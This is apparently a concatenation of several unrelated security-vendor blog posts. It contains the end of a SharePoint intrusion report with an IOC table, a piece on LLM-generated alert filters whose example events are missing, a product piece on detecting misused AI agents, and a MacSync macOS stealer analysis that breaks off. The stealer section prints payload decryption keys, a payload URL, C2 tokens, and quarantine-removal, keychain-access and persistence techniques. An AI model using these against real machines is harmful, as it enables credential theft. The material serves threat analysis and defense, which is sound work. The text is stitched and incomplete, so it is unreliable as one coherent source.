To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

• Trojan.MSIL.Agent.gen
• Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise	Description
45.91.94[.]204	SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8	vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi	Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29	C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/	Velociraptor server URL
199.232.210[.]172	C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5	Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE	VS Code Insiders for tunneling
91.224.92[.]121	Bulletproof-hosted C2 server
49.51.132[.]100	SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi	Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2	Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi	Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93	7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8	C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219	Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2	Vulnerable driver

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

• The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
• The main malicious payload now consists of modules written in Objective-C and Swift.
• At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

• HEUR:Trojan.OSX.MacSync.*
• HEUR:Trojan-PSW.OSX.MacSync.*
• HEUR:Trojan-Dropper.OSX.MacSync.*
• HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

• All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
• Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
• All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

• The main function in the script is named daemon_function.
• The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
• One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
• The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

• Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
• Gaining persistence on the system
• Uploading data received from the infostealer module to the command-and-control server

One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
3. The server responds with the following JSON:
   

   {
       "ok": true,
       "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
       "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
       "crypto": "v2.5"
   }

   
   Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
4. Then decrypt command from pkgunpack utility decrypts the key:
   1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
   2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
   3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
   4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
      

      Decoded dek_wrap_b64

5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

• A LaunchAgent named com.apple.finder.agent
• Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
• Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

• Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
• Crypto wallet application data
• Telegram data
• Device login and password
• Keychain file
• System information: list of installed applications and running processes, device model, hardware, UUID, and so on
• Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
• ZSH and Bash command history
• Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

• teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
• apple: the application is an Apple service
• apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

